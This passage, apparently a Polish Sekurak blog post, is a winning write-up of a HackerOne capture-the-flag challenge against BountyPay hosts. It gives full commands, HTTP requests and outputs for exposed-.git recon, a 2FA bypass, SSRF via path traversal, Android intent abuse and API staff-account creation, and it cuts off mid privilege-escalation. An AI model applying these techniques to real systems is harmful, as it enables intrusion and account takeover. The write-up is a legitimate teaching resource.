Mega Sekurak Hacking Party w Krakowie! 26-27.10.2026 r.
H1CTF – zwycięski raport Jakuba Żoczka z Sekuraka!
Wstęp:
Jedna z najpopularniejszych platform Bug Bounty, Hackerone – w ramach promocji swojego wirtualnego eventu H12006 – uruchomiła konkurs w formule Capture The Flag. Nagrodą było zaproszenie na wspomniany ekskluzywny event oraz zaproszenia do prywatnych programów bug bounty. Co ciekawe, główną nagrodę otrzymywało się nie za najszybsze rozwiązanie zadania, a za najlepsze jego udokumentowanie. Mój raport okazał się jednym z trzech wygrywających.
Wokół zadania zbudowano historie – właściciel H1 zapomniał swojego hasła do konta, musimy je zdobyć i zatwierdzić wypłaty bounty dla Hakerów ;-). Autorom zależało na tym, żeby zadania wyglądały realistycznie i były oparte o prawdziwe znaleziska w ramach programów bug bounty.
Sam event, który był nagrodą w konkursie właśnie się zakończył i myślę, że warto krótko wspomnieć jak wyglądał. Nie była to typowa konferencja bezpieczeństwa, a Live Hacking Event, gdzie głównym celem ataku był PayPal. Rozszerzony specjalnie na tę okazję scope programu, ciekawe bonusy i możliwość kolaboracji z innymi bug hunterami to niektóre z atrakcji, które czekały na zaproszonych gości. W ostatni dzień eventu hackerzy zaprezentowali najciekawsze znalezione podatności w formule lightnig talków.
Hackerone zorganizował już kilka tego typu wydarzeń, ten natomiast z uwagi na sytuację epidemiologiczną na świecie po raz pierwszy odbył się w formie wirtualnej. W momencie pisania tego tekstu, w ramach tego niepowtarzalnego wydarzenia wypłacono ponad $422,000 na nagrody oraz bonusy.
Zanim przejdziemy do szczegółowego opisu rozwiązania zadania – kilka statystyk:
- 4282 osób wzięło udział w CTF
- 210 osób doszło do części mobilnej
- 175 dotarła do półmetka
- 127 dotarło do ostatniej części
- 55 osób zdobyło flagę
W tym artykule przedstawię krok po kroku jak poradziłem sobie z wszystkimi zadaniami.
Rozwiązanie CTF:
Rekonesans
Jako zakres do testów podano wszystkie subdomeny bountypay.h1ctf.com. Moim pierwszym krokiem było zebranie subdomen z wykorzystaniem narzędzia Certificate Search:

Losowo wybrałem serwer app.bountypay.h1ctf.com jako pierwszy. Znajduje się na nim aplikacja webowa, posiadająca ekran logowania. Pora na aktywny rekonesans z wykorzystaniem aplikacji ffuf oraz jednej z wordlist repozytorium SecLists.

Wynik uruchomienia aplikacji ffuf:
[ zoczus@ropchain:~/tools/ffuf ]> ./ffuf -u "https://app.bountypay.h1ctf.com/FUZZ" -fc 404 -w /opt/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : https://app.bountypay.h1ctf.com/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 404
________________________________________________
.git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2]
css [Status: 301, Size: 194, Words: 7, Lines: 8]
images [Status: 301, Size: 194, Words: 7, Lines: 8]
js [Status: 301, Size: 194, Words: 7, Lines: 8]
logout [Status: 302, Size: 0, Words: 1, Lines: 1]
:: Progress: [4666/4666] :: Job [1/1] :: 358 req/sec :: Duration: [0:00:13] :: Errors: 0 ::
Plik .git/HEAD wygląda na interesujący i wskazuje na potencjalny wektor ataku.
Information Disclosure – dostęp do katalogu .git
Znaleziony plik .git/HEAD sugeruje użycie repozytorium Git. Próba dostępu do pliku config file zdradził kilka interesujących informacji:
[ zoczus@ropchain:~ ]> curl "https://app.bountypay.h1ctf.com/.git/config"
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = https://github.com/bounty-pay-code/request-logger.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
Publiczne repozytorium Github do którego link znajduje się powyżej zawiera jeden plik – logger.php .

<?php
$data = array(
'IP' => $_SERVER["REMOTE_ADDR"],
'URI' => $_SERVER["REQUEST_URI"],
'METHOD' => $_SERVER["REQUEST_METHOD"],
'PARAMS' => array(
'GET' => $_GET,
'POST' => $_POST
)
);
file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND );
Otrzymujemy informacje o kolejnym pliku dostępnym na serwerze – bp_web_trace.log :
[ zoczus@ropchain:~/stuff/bounty/h1ctf ]> curl "https://app.bountypay.h1ctf.com/bp_web_trace.log" 1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ== 1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ== 1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19 1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==
Otrzymany ciąg znaków sugeruje endkodowanie Base64 – wskazuje na to użyty specyficzny zestaw znaków oraz == na końcu każdego z ciągów. Po zdekodowaniu otrzymujemy:
{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}
Wśród wpisów możemy znaleźć nazwę użytkownika oraz hasło. Po zalogowaniu do aplikacji ukazuje się prośba o podanie kodu (2FA).

2FA Bypass
Spójrzmy na kod HTML wyświetlonego formularza:
<form method="post" action="/">
<input type="hidden" name="username" value="brian.oliver">
<input type="hidden" name="password" value="V7h0inzX">
<input type="hidden" name="challenge" value="8e3e68be36e6f28a7b93222a0cb0a216">
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">Login</div>
<div class="panel-body">
<div style="margin-top:7px"><label>For Security we've sent a 10 character password to your mobile phone, please enter it below</label></div>
<div style="margin-top:7px"><label>Password contains characters between A-Z , a-z and 0-9</label></div>
<div><input name="challenge_answer" class="form-control"></div>
</div>
</div>
<input type="submit" class="btn btn-success pull-right" value="Login">
</form>
Możemy zauważyć parametr challenge, który wygląda jak hash MD5. Zamieniając wartość wspomnianego parametru na sumę MD5 z ciągu bD83Jk27dQ (znalezionego wcześniej w pliku bp_web_trace.log ) – możemy ponownie użyć pary challenge/answer i skutecznie ominąć mechanizm 2FA.
Ostateczne zapytanie HTTP po wpisaniu wszystkich znalezionych danych:
POST / HTTP/1.1 Host: app.bountypay.h1ctf.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0 (...) username=brian.oliver&password=V7h0inzX&challenge=5828c689761cce705a1c84d9b1a1ed5e&challenge_answer=bD83Jk27dQ
Odpowiedź HTTP:
HTTP/1.1 302 Found Server: nginx/1.14.0 (Ubuntu) Date: Wed, 10 Jun 2020 00:13:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close Set-Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9; expires=Fri, 10-Jul-2020 00:13:51 GMT; Max-Age=2592000 Location: / Content-Length: 0
Możemy zauważyć poniższą stronę:
SSRF w api.bountypay.h1ctf.com
Po zalogowaniu do aplikacji widzimy dashboard, który nie zdradza zbyt wielu informacji. Zawiera jeden przycisk (Load Transactions), który nie zwraca żadnych rezultatów. Jednak analizując wysyłane zapytania, możemy zauważyć komunikacje z endpointem /statements :
GET /statements?month=01&year=2020 HTTP/1.1 Host: app.bountypay.h1ctf.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0 (...) Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
…z następującą odpowiedzią:
{
"url": "https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/statements?month=01&year=2020",
"data": "{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}"
}
Kilka kwestii, na które warto zwrócić uwagę:
- Informacja o adresie https://api.bountypay.h1ctf.com/api/accounts/F8gHiqSdpK/statements?month=01&year=2020 w odpowiedzi HTTP
- Ciasteczko token zawiera dane zakodowane w base64
Zobaczmy co można znaleźć pod adresem api.bountypay.h1ctf.com:

Kliknięcie w hiperłącze REST API najpierw wysyła zapytanie do endpointu /redirect , który zwraca kod 302 przekierowując nas na adres podany w parametrze url:
HTTP/1.1 302 Found Server: nginx/1.14.0 (Ubuntu) Date: Wed, 10 Jun 2020 00:37:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close Location: https://www.google.com/search?q=REST API Content-Length: 0
Wracając do ciasteczka token – po zdekodowaniu wartości, możemy zauważyć strukturę JSON zawierającą pole account_id (którego wartość jest taka sama, jak ta znaleziona w odpowiedzi endpointu /statements).
{
"account_id": "F8gHiqSdpK",
"hash": "de235bffd23df6995ad4e0930baac1a2"
}
Zmodyfikowanie wartości account_id na F8gHiqSdpK/../../../? oraz ponowne zakodowanie w base64 całego tokenu sprawia, że aplikacja wysyła wewnętrznie zapytanie prosto do adresu https://api.bountypay.h1ctf.com/ (dzięki podatności typu Path Traversal).
Dodatkowo – odpowiedź z endpointu /statements zdradza kod HTML odpowiedzi z api.bountypay.h1ctf.com page – mamy więc tutaj do czynienia z podatnością typu SSRF.
{
"url": "https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/..\/..\/..\/?\/statements?month=01&year=2020",
"data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>BountyPay | Login<\/title>\n <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n<div class=\"container\">\n <div class=\"row\">\n <div class=\"col-sm-6 col-sm-offset-3\">\n <div class=\"text-center\" style=\"margin-top:30px\"><img src=\"\/images\/bountypay.png\" height=\"150\"><\/div>\n <h1 class=\"text-center\">BountyPay API<\/h1>\n <p style=\"text-align: justify\">Our BountyPay API controls all of our services in one place. We use a <a href=\"\/redirect?url=https:\/\/www.google.com\/search?q=REST+API\">REST API<\/a> with JSON output. If you are interested in using this API please contact your account manager.<\/p>\n <\/div>\n <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>"
}
Wersja ze sformatowanym HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>BountyPay | Login</title>
<link href="/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-6 col-sm-offset-3">
<div class="text-center" style="margin-top:30px"><img src="/images/bountypay.png" height="150"></div>
<h1 class="text-center">BountyPay API</h1>
<p style="text-align: justify">Our BountyPay API controls all of our services in one place. We use a <a href="/redirect?url=https://www.google.com/search?q=REST+API">REST API</a> with JSON output. If you are interested in using this API please contact your account manager.</p>
</div>
</div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</body>
</html>
Dalsze działania skupiłem na próbie wysyłania zapytań do https://api.bountypay.h1ctf.com/redirect oraz dostania się do wewnętrznych serwerów lub cloudowych adresów meta-data. Jednak bazując na eksperymentach, endpoint /redirect zawierał whitelistę adresów, na które można było dokonać przekierowania i była ona raczej ograniczona do serwerów w domenie bountypay.h1ctf.com . Jednym z dozwolonych adresów był znaleziony w fazie rekonesansu software.bountypay.h1ctf.com . Odwiedzając ten adres z przeglądarki widzimy następującą informację:

Jednak używając znalezionej podatności SSRF mamy możliwość podejrzenia zawartości serwera:
{
"url": "https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/F8gHiqSdpK\/..\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/&\/statements?month=01&year=2020",
"data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <title>Software Storage<\/title>\n <link href=\"\/css\/bootstrap.min.css\" rel=\"stylesheet\">\n<\/head>\n<body>\n\n<div class=\"container\">\n <div class=\"row\">\n <div class=\"col-sm-6 col-sm-offset-3\">\n <h1 style=\"text-align: center\">Software Storage<\/h1>\n <form method=\"post\" action=\"\/\">\n <div class=\"panel panel-default\" style=\"margin-top:50px\">\n <div class=\"panel-heading\">Login<\/div>\n <div class=\"panel-body\">\n <div style=\"margin-top:7px\"><label>Username:<\/label><\/div>\n <div><input name=\"username\" class=\"form-control\"><\/div>\n <div style=\"margin-top:7px\"><label>Password:<\/label><\/div>\n <div><input name=\"password\" type=\"password\" class=\"form-control\"><\/div>\n <\/div>\n <\/div>\n <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n <\/form>\n <\/div>\n <\/div>\n<\/div>\n<script src=\"\/js\/jquery.min.js\"><\/script>\n<script src=\"\/js\/bootstrap.min.js\"><\/script>\n<\/body>\n<\/html>"
}
Wersja z sformatowanym HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Software Storage</title>
<link href="/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-6 col-sm-offset-3">
<h1 style="text-align: center">Software Storage</h1>
<form method="post" action="/">
<div class="panel panel-default" style="margin-top:50px">
<div class="panel-heading">Login</div>
<div class="panel-body">
<div style="margin-top:7px"><label>Username:</label></div>
<div><input name="username" class="form-control"></div>
<div style="margin-top:7px"><label>Password:</label></div>
<div><input name="password" type="password" class="form-control"></div>
</div>
</div>
<input type="submit" class="btn btn-success pull-right" value="Login">
</form>
</div>
</div>
</div>
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</body>
</html>
Directory Listing na software.bountypay.h1ctf.com
Z uwagi na fakt, że możemy wysyłać zapytania na serwer software.bountypay.h1ctf.com z wewnętrznym adresem IP zautomatyzowałem poszukiwania katalogów na serwerze co pozwoliło na znalezienie ciekawie wyglądającego /uploads . Sformatowany wynik HTML:
<html>
<head>
<title>Index of /uploads/</title>
</head>
<body bgcolor=white>
<h1>Index of /uploads/</h1>
<hr>
<pre><a href=../>../</a>
<a href=/uploads/BountyPay.apk>BountyPay.apk</a> 20-Apr-2020 11:26 4043701
</pre>
<hr>
</body>
</html>
Bezpośrednie zapytanie o plik BountyPay.apk zakończyło się sukcesem i udało pobrać wspomniany plik.
Aplikacja Android – analiza statyczna i dynamiczna
APK to skrót od Android Application Package, jest to tak naprawdę plik ZIP, który możemy bez problemu rozpakować standardowymi narzędziami. Pakiet zawiera takie pliki jak:
- Pliki odpowiedzialne za wygląd aplikacji
- Manifest androidowy
- Plik classes.dex
Ostatni plik zawiera bytecode aplikacji. Używając aplikacji dex2jar oraz jd-gui możemy z łatwością uzyskać dostęp do zdekompilowanego kodu Java:
[ zoczus@kali:~/bounty/h1ctf ]> d2j-dex2jar classes.dex dex2jar classes.dex -> ./classes-dex2jar.jar [ zoczus@kali:~/bounty/h1ctf ]> jd-cli classes-dex2jar.jar [ zoczus@kali:~/bounty/h1ctf ]> mkdir src [ zoczus@kali:~/bounty/h1ctf ]> mv classes-dex2jar.src.jar src [ zoczus@kali:~/bounty/h1ctf ]> cd src [ zoczus@kali:~/bounty/h1ctf/src ]> jar xf classes-dex2jar.src.jar
Do samego kodu wrócimy później, najpierw jednak zainstalujmy aplikacje BountyPay na telefonie z Androidem. Po jej uruchomieniu widzimy następujący ekran:

Podając dowolne dane i przechodząc dalej – dostajemy się do Activity nazwanej PartOneActivity:

W dalszej części użyłem narzędzia Drozer pomagającej w dynamicznej analizie aplikacji, której wynik znajduje się poniżej.
Selecting a85667c5760b3f76 (Xiaomi Redmi 6A 8.1.0)
.. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.
drozer Console (v2.4.4)
dz> run shell.exec "pm list packages | grep bounty"
package:bounty.pay
dz> run app.package.attacksurface bounty.pay
Attack Surface:
5 activities exported
1 broadcast receivers exported
0 content providers exported
0 services exported
is debuggable
Bazując na powyższym możemy znaleźć 5 wyeksportowanych aktywności. Rzućmy na nie okiem:
dz> run app.activity.info -a bounty.pay
Package: bounty.pay
bounty.pay.PartThreeActivity
Permission: null
bounty.pay.PartTwoActivity
Permission: null
bounty.pay.PartOneActivity
Permission: null
bounty.pay.MainActivity
Permission: null
com.google.firebase.auth.internal.FederatedSignInActivity
Permission: com.google.firebase.auth.api.gms.permission.LAUNCH_FEDERATED_SIGN_IN
dz> run scanner.activity.browsable -a bounty.pay
Package: bounty.pay
Invocable URIs:
three://part
two://part
one://part
Classes:
bounty.pay.PartThreeActivity
bounty.pay.PartTwoActivity
bounty.pay.PartOneActivity
Jest to moment, w którym warto spojrzeć do kodu. W pliku PartOneActivity.java możemy znaleźć następujący fragment:
if ((getIntent() != null) && (getIntent().getData() != null))
{
String str = getIntent().getData().getQueryParameter("start");
if ((str != null) && (str.equals("PartTwoActivity")) && (paramBundle.contains("USERNAME")))
{
str = paramBundle.getString("USERNAME", "");
SharedPreferences.Editor localEditor = paramBundle.edit();
paramBundle = paramBundle.getString("TWITTERHANDLE", "");
localEditor.putString("PARTONE", "COMPLETE").apply();
logFlagFound(str, paramBundle);
startActivity(new Intent(this, PartTwoActivity.class));
}
}
Z pomocą aplikacji Drozer (lub bezpośrednio z shell’a) możemy spróbować uruchomić activity z następującymi parametrami, co skutkuje przejściem do kolejnego activity:
dz> run app.activity.start --action android.intent.action.VIEW --data-uri "one://part?start=PartTwoActivity"

Krok pierwszy za nami, spójrzmy na kod w pliku PartTwoActivity.java :
if ((getIntent() != null) && (getIntent().getData() != null))
{
Object localObject2 = getIntent().getData();
localObject1 = ((Uri)localObject2).getQueryParameter("two");
localObject2 = ((Uri)localObject2).getQueryParameter("switch");
if ((localObject1 != null) && (((String)localObject1).equals("light")) && (localObject2 != null) && (((String)localObject2).equals("on")))
{
localEditText.setVisibility(0);
localButton.setVisibility(0);
paramBundle.setVisibility(0);
}
}
Po szybkiej analizie po raz kolejny używamy Drozera, analogicznie jak w poprzednim przypadku:
dz> run app.activity.start --action android.intent.action.VIEW --data-uri "two://part?two=light&switch=on"
W aplikacji pojawia się ukryty wcześniej formularz:

Kod odpowiedzialny za walidację formularza:
public void onDataChange(DataSnapshot paramAnonymousDataSnapshot)
{
String str1 = (String)paramAnonymousDataSnapshot.getValue();
Object localObject = getSharedPreferences("user_created", 0);
paramAnonymousDataSnapshot = ((SharedPreferences)localObject).edit();
String str2 = paramView;
StringBuilder localStringBuilder = new StringBuilder();
localStringBuilder.append("X-");
localStringBuilder.append(str1);
if (str2.equals(localStringBuilder.toString()))
{
str1 = ((SharedPreferences)localObject).getString("USERNAME", "");
localObject = ((SharedPreferences)localObject).getString("TWITTERHANDLE", "");
PartTwoActivity.this.logFlagFound(str1, (String)localObject);
paramAnonymousDataSnapshot.putString("PARTTWO", "COMPLETE").apply();
PartTwoActivity.this.correctHeader();
}
else
{
Toast.makeText(PartTwoActivity.this, "Try again! :D", 0).show();
}
}
});
Aplikacja pobiera dane z formularza i porównuje je z wartością zapisaną w bazie Firebase. W plikach z preferencjami możemy znaleźć access_token do wspomnianej bazy i próbować połączyć się z nią bezpośrednio. Moglibyśmy też próbować ominąć mechanizm SSL Pinning i spróbować podejrzeć dane w komunikacji sieciowej. Innym sposobem byłoby użycie narzędzi typu Frida czy Objection żeby podejrzeć wartość, która jest porównywana w formularzu. Ja zamiast tego użyłem szybszej metody i spróbowałem tam wartość X-Token znalezioną w pliku PartThreeActivity.java co zadziałało:
byte[] decodedDirectoryTwo = Base64.decode("WC1Ub2tlbg==", 0); // wartość zdekodowana - "X-Token"

Po poprawnym wypełnieniu formularza przechodzimy do ostatniej części – PartThreeActivity. Jest to stanowczo najcięższa część z całej części Androidowej z uwagi na zobfuskowany kod:

Na początek zająłem się inicjacją zmiennych:
if ((getIntent() != null) && (getIntent().getData() != null))
{
final Object localObject3 = getIntent().getData();
localObject2 = ((Uri)localObject3).getQueryParameter("three");
localObject1 = ((Uri)localObject3).getQueryParameter("switch");
localObject3 = ((Uri)localObject3).getQueryParameter("header");
final Object localObject4 = Base64.decode((String)localObject2, 0);
final Object localObject5 = Base64.decode((String)localObject1, 0);
localObject4 = new String((byte[])localObject4, StandardCharsets.UTF_8);
localObject5 = new String((byte[])localObject5, StandardCharsets.UTF_8);
Następnym krokiem było porównywanie wartości:
public void onDataChange(DataSnapshot paramAnonymousDataSnapshot)
{
String str = (String)paramAnonymousDataSnapshot.getValue();
if ((localObject2 != null) && (localObject4.equals("PartThreeActivity")) && (localObject1 != null) && (localObject5.equals("on")))
{
paramAnonymousDataSnapshot = localObject3;
if (paramAnonymousDataSnapshot != null)
{
StringBuilder localStringBuilder = new StringBuilder();
localStringBuilder.append("X-");
localStringBuilder.append(str);
if (paramAnonymousDataSnapshot.equals(localStringBuilder.toString()))
{
paramBundle.setVisibility(0);
localButton.setVisibility(0);
thread.start();
}
}
}
ozpisując wartości zmiennych szczegółowo:
- localObject4 powinna mieć wartość PartThreeActivity
- localObject4 jest pobierana ze zmiennej localObject2 (jako base64)
- localObject2 jest wartością parametru three
- localObject5 powinna mieć wartość on
- localObject5 jest pobierana ze zmiennej localObject1 (jako base64)
- localObject1 jest pobierana z parametru switch
- localStringBuilder powinna mieć taką samą wartość jak zmienna paramAnonymousDataSnapshot
- paramAnonymousDataSnapshot powinna mieć taką samą wartość jak localObject3
- localStringBuilder powinna mieć wartość złożoną ze znaku X- oraz str – zakładam, że to po prostu X-Token
- localObject3 jest wartością parametru header
Biorąc pod uwagę powyższe kończymy ten etap realizując zapytanie pod następujący adres URL:
dz> run app.activity.start --action android.intent.action.VIEW --data-uri "three://part?three=UGFydFRocmVlQWN0aXZpdHk=&switch=b24=&header=X-Token"
Aplikacja ukazuje nam kolejny formularz, w którym powinniśmy podać „leaked hash”:

Przeglądając pliki utworzone w systemie Android możemy odnaleźć plik /data/data/bounty.pay/shared_prefs/user_created.xml z następującą zawartością:
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="PARTTWO">COMPLETE</string>
<string name="USERNAME">zoczus</string>
<string name="HOST">http://api.bountypay.h1ctf.com</string>
<string name="PARTONE">COMPLETE</string>
<string name="TWITTERHANDLE">zoczus</string>
<string name="TOKEN">8e9998ee3137ca9ade8f372739f062c1</string>
</map>
Uzupełniając wspomniany formularz o wartość TOKEN otrzymujemy komunikat, że rozwiązaliśmy zadanie Androidowe oraz, że znalezione informacje przydadzą się w kolejnych zadaniach.


Informacja o rozwiązaniu zadania:

OSINT
W pewnym momencie trwania CTF na Twitterowym profilu Hackerone pojawił się retweet wskazujący na profil BountyPay.

Jeden z tweetów mówi o nowym pracowniku – Sandrze! Jej profil możemy znaleźć patrząc na osoby obserwujące BountyPay HQ:

W jedynym swoim wpisie na Twitterze Sandra informuje, że to jej pierwszy dzień w nowej pracy, jest bardzo podekscytowana na dowód czego wrzuca zdjęcie swojej firmowej plakietki wraz z identyfikatorem pracownika – STF:8FJ3KFISL3

Ta informacja jest bardzo cenna i przyda się później. :)
Information Disclosure – API
Wracamy z naszymi poszukiwaniami do API. Ponownie enumerując katalogi z użyciem narzędzia ffuf możemy znaleźć następujący endpoint:
[ zoczus@ropchain:~/tools/ffuf ]> ./ffuf -u "https://api.bountypay.h1ctf.com/api/FUZZ" -fc 404 -w /opt/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.0.2
________________________________________________
:: Method : GET
:: URL : https://api.bountypay.h1ctf.com/api/FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 404
________________________________________________
staff [Status: 401, Size: 28, Words: 4, Lines: 1]
Bezpośrednie zapytanie do endpointu /api/staff zwraca informacje o brakującym tokenie:
[ zoczus@ropchain:~ ]> curl "https://api.bountypay.h1ctf.com/api/staff" ["Missing or invalid Token"]
Używając wartości Token pozyskanej w zadaniu Androidowym i nagłówka X-Token uzyskujemy kolejne dane:
[ zoczus@ropchain:~ ]> curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]
Zmiana metody HTTP na POST informuje o brakującym parametrze:
[ zoczus@ropchain:~ ]> curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" -X POST ["Missing Parameter"]
Używając poprzednich parametrów z odpowiedzi JSON i podmieniając staff_id na identyfikator Sandry uzyskujemy jej login i hasło:
[ zoczus@ropchain:~ ]> curl https://api.bountypay.h1ctf.com/api/staff -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" -X POST -d "name=XXX&staff_id=STF:8FJ3KFISL3&password=test"
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}
Privilege Escalation w aplikacji Staff
Mając login i hasło Sandry, przechodzimy do kolejnej aplikacji – Staff mieszczącej się pod adresem staff.bountypay.h1ctf.com

Aby dobrze zrozumieć podatność, która się tu znajduje – zacznijmy od przyjrzenia się plikowi /js/website.js :
$(".upgradeToAdmin").click(function() {
let t = $('input[name="username"]').val();
$.get("/admin/upgrade?username=" + t, function() {
alert("User Upgraded to Admin")
})
}), $(".tab").click(function() {
return $(".tab").removeClass("active"), $(this).addClass("active"), $("div.content").addClass("hidden"), $("div.content-" + $(this).attr("data-target")).removeClass("hidden"), !1
}), $(".sendReport").click(function() {
$.get("/admin/report?url=" + url, function() {
alert("Report sent to admin team")
}), $("#myModal").modal("hide")
}), document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"), "#tab2" === document.location.hash && $(".tab2").trigger("click"), "#tab3" === document.location.hash && $(".tab3").trigger("click"), "#tab4" === document.location.hash && $(".tab4").trigger("click"));
Najważniejsze elementy, które możemy zauważyć:
- Jedna z funkcji wysyła zapytanie do /admin/upgrade?username=…. dając użytkownikowi prawa administratora.
- Istnieje endpoint /admin/report?url=… służący do powiadamiania administratorów, że na podanej stronie “coś jest nie tak”.
- Na samym końcu – sprawdzana jest wartość location.hash oraz wyzwalane są eventy click bazujące na selektorach CSS (tab1/tab2/tab3/tab4).
Wszystkie powyższe będą potrzebne, aby podnieść swoje uprawnienia. Zacznijmy od prostego odwołania się do endpointu /admin/upgrade?username=sandra.allison :
["Only admins can perform this"]
Niestety nie przyniosło to oczekiwanego rezultatu.
Na dole strony znajdziemy hiperłącze nazwane „Report This Page”, które wywołuje poniższy komunikat:

Zatwierdzenie formularza powoduje wysłanie następującego zapytania HTTP:
GET /admin/report?url=Lz90ZW1wbGF0ZT10aWNrZXQmdGlja2V0X2lkPTM1ODI= HTTP/1.1 Host: staff.bountypay.h1ctf.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:77.0) Gecko/20100101 Firefox/77.0 Accept: */* (...)
